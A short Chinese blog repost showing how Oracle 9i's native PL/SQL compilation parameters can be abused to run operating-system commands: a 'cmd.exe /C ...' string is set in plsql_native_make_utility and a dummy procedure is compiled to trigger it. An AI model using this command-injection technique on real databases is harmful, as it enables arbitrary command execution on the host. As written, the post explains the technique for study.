这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。 在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令: SQL> alter system set plsql_native_make_utility='cmd.exe /C dir >C:\oops.txt &'; SQL> alter system set plsql_native_make_file_name=' foo'; SQL> alter system set plsql_native_library_dir='bee'; 系统已更改。 create or replace PROCEDURE wcg IS BEGIN NULL; END; / show errors 在Oracle编译wcg过程的时候,Oracle会执行下面的代码: cmd.exe /C dir > C:\oops.txt -& -f foo bee/RUN_CMD__SYSTEM__0.DLL Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。
本文转自maclean_007 51CTO博客,原文链接:http://blog.51cto.com/maclean/1276824